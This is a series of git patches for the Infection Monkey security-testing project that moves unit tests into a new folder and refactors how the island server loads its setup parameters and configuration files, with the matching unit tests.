monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py diff --git a/monkey/tests/monkey_island/cc/resources/test_bootloader.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py similarity index 100% rename from monkey/tests/monkey_island/cc/resources/test_bootloader.py rename to monkey/tests/unit_tests/monkey_island/cc/resources/test_bootloader.py diff --git a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py similarity index 100% rename from monkey/tests/monkey_island/cc/server_utils/test_island_logger.py rename to monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py diff --git a/monkey/tests/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/attack/test_mitre_api_interface.py rename to monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py diff --git a/monkey/tests/monkey_island/cc/services/edge/test_displayed_edge_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/edge/test_displayed_edge_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py diff --git a/monkey/tests/monkey_island/cc/services/edge/test_edge_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/edge/test_edge_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py diff --git a/monkey/tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/reporting/test_report.py rename to monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py diff --git a/monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py diff --git a/monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py diff --git a/monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py diff --git a/monkey/tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py diff --git a/monkey/tests/monkey_island/cc/services/test_bootloader_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/test_bootloader_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py diff --git a/monkey/tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/test_config.py rename to monkey/tests/unit_tests/monkey_island/cc/services/test_config.py diff --git a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/test_post_breach_files.py rename to monkey/tests/unit_tests/monkey_island/cc/services/test_post_breach_files.py diff --git a/monkey/tests/monkey_island/cc/services/test_representations.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/test_representations.py rename to monkey/tests/unit_tests/monkey_island/cc/services/test_representations.py diff --git a/monkey/tests/monkey_island/cc/services/utils/test_node_states.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/utils/test_node_states.py rename to monkey/tests/unit_tests/monkey_island/cc/services/utils/test_node_states.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py diff --git a/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py rename to monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py diff --git a/monkey/tests/monkey_island/cc/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/test_consts.py similarity index 100% rename from monkey/tests/monkey_island/cc/test_consts.py rename to monkey/tests/unit_tests/monkey_island/cc/test_consts.py diff --git a/monkey/tests/monkey_island/cc/test_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/test_encryptor.py similarity index 100% rename from monkey/tests/monkey_island/cc/test_encryptor.py rename to monkey/tests/unit_tests/monkey_island/cc/test_encryptor.py diff --git a/monkey/tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py similarity index 100% rename from monkey/tests/monkey_island/conftest.py rename to monkey/tests/unit_tests/monkey_island/conftest.py diff --git a/monkey/tests/monkey_island/test_config_loader.py b/monkey/tests/unit_tests/monkey_island/test_config_loader.py similarity index 100% rename from monkey/tests/monkey_island/test_config_loader.py rename to monkey/tests/unit_tests/monkey_island/test_config_loader.py From 99bbe36c62b3d3312563b61264c2d0cab89dd5b7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 09:58:58 +0300 Subject: [PATCH 0513/1360] Moved a unit test into unit_tests folder --- .../infection_monkey/utils/test_random_password_generator.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/{ => unit_tests}/infection_monkey/utils/test_random_password_generator.py (100%) diff --git a/monkey/tests/infection_monkey/utils/test_random_password_generator.py b/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py similarity index 100% rename from monkey/tests/infection_monkey/utils/test_random_password_generator.py rename to monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py From 0ab91ef27dcd5a689f8cc887d21c848deeb71b39 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 10:22:20 +0300 Subject: [PATCH 0514/1360] Altered mongomock fixture to be a module-scoped, in an attempt to fix fixture import error --- monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py index 079c91fb76f..26a41685a41 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py +++ b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py @@ -6,7 +6,7 @@ from monkey_island.cc.models.zero_trust.finding import Finding -@pytest.fixture(scope="session", autouse=True) +@pytest.fixture(scope="module", autouse=True) def change_to_mongo_mock(): # Make sure tests are working with mongomock mongoengine.disconnect() From e97882369c9523575ec729ddd7e6ffe946e5e8d0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 10:30:10 +0300 Subject: [PATCH 0515/1360] Added init files to test directories so that conftest files could import fixtures --- monkey/tests/__init__.py | 0 monkey/tests/unit_tests/__init__.py | 0 monkey/tests/unit_tests/monkey_island/__init__.py | 0 monkey/tests/unit_tests/monkey_island/cc/__init__.py | 0 4 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 monkey/tests/__init__.py create mode 100644 monkey/tests/unit_tests/__init__.py create mode 100644 monkey/tests/unit_tests/monkey_island/__init__.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/__init__.py diff --git a/monkey/tests/__init__.py b/monkey/tests/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/__init__.py b/monkey/tests/unit_tests/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/monkey_island/__init__.py b/monkey/tests/unit_tests/monkey_island/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/tests/unit_tests/monkey_island/cc/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/__init__.py new file mode 100644 index 00000000000..e69de29bb2d From 8bb6e2f21f1a4b6384e9f17a920fc1ab1db263c3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 May 2021 15:53:21 +0300 Subject: [PATCH 0516/1360] Added mongodb parameters to appimage server config and develop server config --- appimage/server_config.json.standard | 3 +++ monkey/monkey_island/cc/server_config.json.develop | 3 +++ 2 files changed, 6 insertions(+) diff --git a/appimage/server_config.json.standard b/appimage/server_config.json.standard index 8c894b849e9..af975a9e096 100644 --- a/appimage/server_config.json.standard +++ b/appimage/server_config.json.standard @@ -4,5 +4,8 @@ "environment": { "server_config": "password", "deployment": "standard" + }, + "mongodb": { + "start_mongodb": true } } diff --git a/monkey/monkey_island/cc/server_config.json.develop b/monkey/monkey_island/cc/server_config.json.develop index fe9e2687fec..5d8dc85aa80 100644 --- a/monkey/monkey_island/cc/server_config.json.develop +++ b/monkey/monkey_island/cc/server_config.json.develop @@ -3,5 +3,8 @@ "environment": { "server_config": "password", "deployment": "develop" + }, + "mongodb": { + "start_mongodb": true } } From d768d60f9f8c2d325f8c7d0097f1cfb7d1ac0642 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 14:14:01 +0300 Subject: [PATCH 0517/1360] Extracted island setup parameter extraction into a separate workflow/DTO --- monkey/monkey_island.py | 16 +++---- monkey/monkey_island/cc/arg_parser.py | 9 +--- .../monkey_island/cc/server_utils/consts.py | 4 ++ monkey/monkey_island/config_file_parser.py | 8 ++++ monkey/monkey_island/config_loader.py | 25 ----------- monkey/setup_param_factory.py | 43 +++++++++++++++++++ monkey/setup_params.py | 18 ++++++++ 7 files changed, 82 insertions(+), 41 deletions(-) create mode 100644 monkey/monkey_island/config_file_parser.py delete mode 100644 monkey/monkey_island/config_loader.py create mode 100644 monkey/setup_param_factory.py create mode 100644 monkey/setup_params.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 650cfe95d81..0ac7ebca334 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,26 +1,24 @@ from gevent import monkey as gevent_monkey +from setup_param_factory import SetupParamFactory from monkey_island.cc.arg_parser import parse_cli_args gevent_monkey.patch_all() import json # noqa: E402 -import os # noqa: E402 -from monkey_island import config_loader # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 if "__main__" == __name__: island_args = parse_cli_args() - # This is here in order to catch EVERYTHING, some functions are being called on - # imports, so the log init needs to be first. - try: - server_config_path = os.path.expanduser(island_args.server_config) + setup_params = SetupParamFactory.build(island_args) - config = config_loader.load_server_config_from_file(server_config_path) + try: - setup_logging(config["data_dir"], config["log_level"]) + # This is here in order to catch EVERYTHING, some functions are being called on + # imports, so the log init needs to be first. + setup_logging(setup_params.data_dir, setup_params.log_level) except OSError as ex: print(f"Error opening server config file: {ex}") @@ -32,4 +30,4 @@ from monkey_island.cc.main import main # noqa: E402 - main(config["data_dir"], island_args.setup_only, island_args.server_config) + main(setup_params.data_dir, setup_params.setup_only, setup_params.server_config_path) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 6e12ef38f36..338db153da0 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,12 +1,10 @@ from dataclasses import dataclass -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH - @dataclass class IslandArgs: setup_only: bool - server_config: str + server_config_path: str def parse_cli_args() -> IslandArgs: @@ -25,10 +23,7 @@ def parse_cli_args() -> IslandArgs: "compiling/packaging Islands.", ) parser.add_argument( - "--server-config", - action="store", - help="The path to the server configuration file.", - default=DEFAULT_SERVER_CONFIG_PATH, + "--server-config", action="store", help="The path to the server configuration file." ) args = parser.parse_args() diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index f0dba26dc6b..c25822c6f27 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -5,6 +5,7 @@ MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), "monkey_island") DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 +# TODO move setup consts DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json") DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( @@ -12,3 +13,6 @@ ) DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") +DEFAULT_LOG_LEVEL = "INFO" +DEFAULT_START_MONGO_DB = True +DEFAULT_SHOULD_SETUP_ONLY = False diff --git a/monkey/monkey_island/config_file_parser.py b/monkey/monkey_island/config_file_parser.py new file mode 100644 index 00000000000..6c9c5c70749 --- /dev/null +++ b/monkey/monkey_island/config_file_parser.py @@ -0,0 +1,8 @@ +import json + + +def load_server_config_from_file(server_config_path): + with open(server_config_path, "r") as f: + config_content = f.read() + config = json.loads(config_content) + return config diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py deleted file mode 100644 index aaa9185d700..00000000000 --- a/monkey/monkey_island/config_loader.py +++ /dev/null @@ -1,25 +0,0 @@ -import json -import os - -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR - -DEFAULT_LOG_LEVEL = "INFO" - - -def load_server_config_from_file(server_config_path): - with open(server_config_path, "r") as f: - config_content = f.read() - config = json.loads(config_content) - add_default_values_to_config(config) - - return config - - -def add_default_values_to_config(config): - config["data_dir"] = os.path.abspath( - os.path.expanduser(os.path.expandvars(config.get("data_dir", DEFAULT_DATA_DIR))) - ) - - config.setdefault("log_level", DEFAULT_LOG_LEVEL) - - return config diff --git a/monkey/setup_param_factory.py b/monkey/setup_param_factory.py new file mode 100644 index 00000000000..416a408a55e --- /dev/null +++ b/monkey/setup_param_factory.py @@ -0,0 +1,43 @@ +import os + +from setup_params import SetupParams + +from monkey_island import config_file_parser +from monkey_island.cc.arg_parser import IslandArgs + + +class SetupParamFactory: + @staticmethod + def build(cmd_args: IslandArgs) -> SetupParams: + + setup_params = SetupParams() + + setup_params = SetupParamFactory._update_by_cmd_args(setup_params, cmd_args) + setup_params = SetupParamFactory._update_by_config_file(setup_params) + + return setup_params + + @staticmethod + def _update_by_cmd_args(setup_params: SetupParams, cmd_args: IslandArgs) -> SetupParams: + if type(cmd_args.setup_only) == bool: + setup_params.setup_only = cmd_args.setup_only + + if cmd_args.server_config_path: + setup_params.server_config_path = os.path.expanduser(cmd_args.server_config_path) + + return setup_params + + @staticmethod + def _update_by_config_file(setup_params: SetupParams): + config = config_file_parser.load_server_config_from_file(setup_params.server_config_path) + + if "data_dir" in config: + setup_params.data_dir = config["data_dir"] + + if "log_level" in config: + setup_params.log_level = config["log_level"] + + if "mongodb" in config and "start_mongodb" in config["mongodb"]: + setup_params.start_mongodb = config["mongodb"]["start_mongodb"] + + return setup_params diff --git a/monkey/setup_params.py b/monkey/setup_params.py new file mode 100644 index 00000000000..c302c7fc089 --- /dev/null +++ b/monkey/setup_params.py @@ -0,0 +1,18 @@ +from dataclasses import dataclass + +from monkey_island.cc.server_utils.consts import ( + DEFAULT_DATA_DIR, + DEFAULT_LOG_LEVEL, + DEFAULT_SERVER_CONFIG_PATH, + DEFAULT_SHOULD_SETUP_ONLY, + DEFAULT_START_MONGO_DB, +) + + +@dataclass +class SetupParams: + server_config_path = DEFAULT_SERVER_CONFIG_PATH + log_level = DEFAULT_LOG_LEVEL + data_dir = DEFAULT_DATA_DIR + start_mongodb = DEFAULT_START_MONGO_DB + setup_only = DEFAULT_SHOULD_SETUP_ONLY From 9055381873f76feeda59064d0650912763c82a6c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 14:21:00 +0300 Subject: [PATCH 0518/1360] Moved island setup param related code into cc/setup folder --- monkey/monkey_island/setup/__init__.py | 0 monkey/{ => monkey_island/setup}/setup_param_factory.py | 3 +-- monkey/{ => monkey_island/setup}/setup_params.py | 0 3 files changed, 1 insertion(+), 2 deletions(-) create mode 100644 monkey/monkey_island/setup/__init__.py rename monkey/{ => monkey_island/setup}/setup_param_factory.py (95%) rename monkey/{ => monkey_island/setup}/setup_params.py (100%) diff --git a/monkey/monkey_island/setup/__init__.py b/monkey/monkey_island/setup/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/monkey/setup_param_factory.py b/monkey/monkey_island/setup/setup_param_factory.py similarity index 95% rename from monkey/setup_param_factory.py rename to monkey/monkey_island/setup/setup_param_factory.py index 416a408a55e..72b2366231f 100644 --- a/monkey/setup_param_factory.py +++ b/monkey/monkey_island/setup/setup_param_factory.py @@ -1,9 +1,8 @@ import os -from setup_params import SetupParams - from monkey_island import config_file_parser from monkey_island.cc.arg_parser import IslandArgs +from monkey_island.setup.setup_params import SetupParams class SetupParamFactory: diff --git a/monkey/setup_params.py b/monkey/monkey_island/setup/setup_params.py similarity index 100% rename from monkey/setup_params.py rename to monkey/monkey_island/setup/setup_params.py From 8c210fc21f45f612ddc57ccd6efb9c30c4ba4b60 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 12:04:44 +0300 Subject: [PATCH 0519/1360] Improved setup_param_factory.py further, by extracting loading server config file out of the factory --- monkey/monkey_island.py | 6 ++- monkey/monkey_island/config_file_parser.py | 7 +++- .../setup/setup_param_factory.py | 39 ++++++++----------- 3 files changed, 26 insertions(+), 26 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 0ac7ebca334..9532e365443 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,7 +1,8 @@ from gevent import monkey as gevent_monkey -from setup_param_factory import SetupParamFactory from monkey_island.cc.arg_parser import parse_cli_args +from monkey_island.config_file_parser import load_server_config_from_file +from monkey_island.setup.setup_param_factory import SetupParamFactory gevent_monkey.patch_all() @@ -11,8 +12,9 @@ if "__main__" == __name__: island_args = parse_cli_args() + config_contents = load_server_config_from_file(island_args.server_config_path) - setup_params = SetupParamFactory.build(island_args) + setup_params = SetupParamFactory().build(island_args, config_contents) try: diff --git a/monkey/monkey_island/config_file_parser.py b/monkey/monkey_island/config_file_parser.py index 6c9c5c70749..78a621ab22b 100644 --- a/monkey/monkey_island/config_file_parser.py +++ b/monkey/monkey_island/config_file_parser.py @@ -1,7 +1,12 @@ import json +from os.path import isfile +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH -def load_server_config_from_file(server_config_path): + +def load_server_config_from_file(server_config_path: str) -> dict: + if not server_config_path or not isfile(server_config_path): + server_config_path = DEFAULT_SERVER_CONFIG_PATH with open(server_config_path, "r") as f: config_content = f.read() config = json.loads(config_content) diff --git a/monkey/monkey_island/setup/setup_param_factory.py b/monkey/monkey_island/setup/setup_param_factory.py index 72b2366231f..0c0fe88814e 100644 --- a/monkey/monkey_island/setup/setup_param_factory.py +++ b/monkey/monkey_island/setup/setup_param_factory.py @@ -6,37 +6,30 @@ class SetupParamFactory: - @staticmethod - def build(cmd_args: IslandArgs) -> SetupParams: + def __init__(self): + self.setup_params = SetupParams() - setup_params = SetupParams() + def build(self, cmd_args: IslandArgs, config_contents: dict) -> SetupParams: - setup_params = SetupParamFactory._update_by_cmd_args(setup_params, cmd_args) - setup_params = SetupParamFactory._update_by_config_file(setup_params) + self._update_by_cmd_args(cmd_args) + self._update_by_config_file(config_contents) - return setup_params + return self.setup_params - @staticmethod - def _update_by_cmd_args(setup_params: SetupParams, cmd_args: IslandArgs) -> SetupParams: + def _update_by_cmd_args(self, cmd_args: IslandArgs): if type(cmd_args.setup_only) == bool: - setup_params.setup_only = cmd_args.setup_only + self.setup_params.setup_only = cmd_args.setup_only if cmd_args.server_config_path: - setup_params.server_config_path = os.path.expanduser(cmd_args.server_config_path) + self.setup_params.server_config_path = os.path.expanduser(cmd_args.server_config_path) - return setup_params + def _update_by_config_file(self, config_contents: dict): - @staticmethod - def _update_by_config_file(setup_params: SetupParams): - config = config_file_parser.load_server_config_from_file(setup_params.server_config_path) + if "data_dir" in config_contents: + self.setup_params.data_dir = config_contents["data_dir"] - if "data_dir" in config: - setup_params.data_dir = config["data_dir"] + if "log_level" in config_contents: + self.setup_params.log_level = config_contents["log_level"] - if "log_level" in config: - setup_params.log_level = config["log_level"] - - if "mongodb" in config and "start_mongodb" in config["mongodb"]: - setup_params.start_mongodb = config["mongodb"]["start_mongodb"] - - return setup_params + if "mongodb" in config_contents and "start_mongodb" in config_contents["mongodb"]: + self.setup_params.start_mongodb = config_contents["mongodb"]["start_mongodb"] From 9f469a8ec0133a74e9c0836a4cd7d813bbaf97fb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 13:35:00 +0300 Subject: [PATCH 0520/1360] Added tests for refactored config file parser --- .../monkey_island/test_config_file_parser.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/test_config_file_parser.py diff --git a/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py b/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py new file mode 100644 index 00000000000..8a0bb3fffc0 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py @@ -0,0 +1,16 @@ +from monkey_island import config_file_parser + + +def test_load_server_config_from_file(test_server_config): + config = config_file_parser.load_server_config_from_file(test_server_config) + + assert config["data_dir"] == "~/.monkey_island" + assert config["log_level"] == "NOTICE" + + +def test_load_server_config_from_file_default_path(monkeypatch, test_server_config): + monkeypatch.setattr(config_file_parser, "DEFAULT_SERVER_CONFIG_PATH", test_server_config) + config = config_file_parser.load_server_config_from_file("") + + assert config["data_dir"] == "~/.monkey_island" + assert config["log_level"] == "NOTICE" From df5cec63236db71dcf60dac40f9bc3c0cb43ad94 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 13:51:52 +0300 Subject: [PATCH 0521/1360] Added a simple unit test for setup_param_factory.py --- .../setup/setup_param_factory.py | 1 - .../cc/setup/test_setup_param_factory.py | 16 +++++++++++ .../monkey_island/test_config_loader.py | 27 ------------------- 3 files changed, 16 insertions(+), 28 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py delete mode 100644 monkey/tests/unit_tests/monkey_island/test_config_loader.py diff --git a/monkey/monkey_island/setup/setup_param_factory.py b/monkey/monkey_island/setup/setup_param_factory.py index 0c0fe88814e..32b1b60dbff 100644 --- a/monkey/monkey_island/setup/setup_param_factory.py +++ b/monkey/monkey_island/setup/setup_param_factory.py @@ -1,6 +1,5 @@ import os -from monkey_island import config_file_parser from monkey_island.cc.arg_parser import IslandArgs from monkey_island.setup.setup_params import SetupParams diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py new file mode 100644 index 00000000000..d8ea9692ed9 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py @@ -0,0 +1,16 @@ +from monkey_island import config_file_parser +from monkey_island.cc.arg_parser import IslandArgs +from monkey_island.setup.setup_param_factory import SetupParamFactory + +MOCK_ISLAND_CMD_ARGS = IslandArgs(setup_only=True, server_config_path="/temp/test_path") + + +def test_setup_param_factory_build(monkeypatch, test_server_config): + config_contents = config_file_parser.load_server_config_from_file(test_server_config) + + setup_params = SetupParamFactory().build(MOCK_ISLAND_CMD_ARGS, config_contents) + assert setup_params.setup_only + assert setup_params.server_config_path == MOCK_ISLAND_CMD_ARGS.server_config_path + assert setup_params.start_mongodb + assert setup_params.log_level == "NOTICE" + assert setup_params.data_dir == "~/.monkey_island" diff --git a/monkey/tests/unit_tests/monkey_island/test_config_loader.py b/monkey/tests/unit_tests/monkey_island/test_config_loader.py deleted file mode 100644 index 20c330f6a91..00000000000 --- a/monkey/tests/unit_tests/monkey_island/test_config_loader.py +++ /dev/null @@ -1,27 +0,0 @@ -import os - -from monkey_island import config_loader -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR - - -def test_load_server_config_from_file(test_server_config, mock_home_env): - config = config_loader.load_server_config_from_file(test_server_config) - - assert config["data_dir"] == os.path.join(mock_home_env, ".monkey_island") - assert config["log_level"] == "NOTICE" - - -def test_default_log_level(): - test_config = {} - config = config_loader.add_default_values_to_config(test_config) - - assert "log_level" in config - assert config["log_level"] == "INFO" - - -def test_default_data_dir(mock_home_env): - test_config = {} - config = config_loader.add_default_values_to_config(test_config) - - assert "data_dir" in config - assert config["data_dir"] == DEFAULT_DATA_DIR From 411345d6030cdee69725127721ac371bea0a2202 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 14:02:47 +0300 Subject: [PATCH 0522/1360] Refactored "main" method in island to use setup params --- monkey/monkey_island.py | 2 +- monkey/monkey_island/cc/main.py | 17 +++++++---------- 2 files changed, 8 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 9532e365443..7f21bb0b40d 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -32,4 +32,4 @@ from monkey_island.cc.main 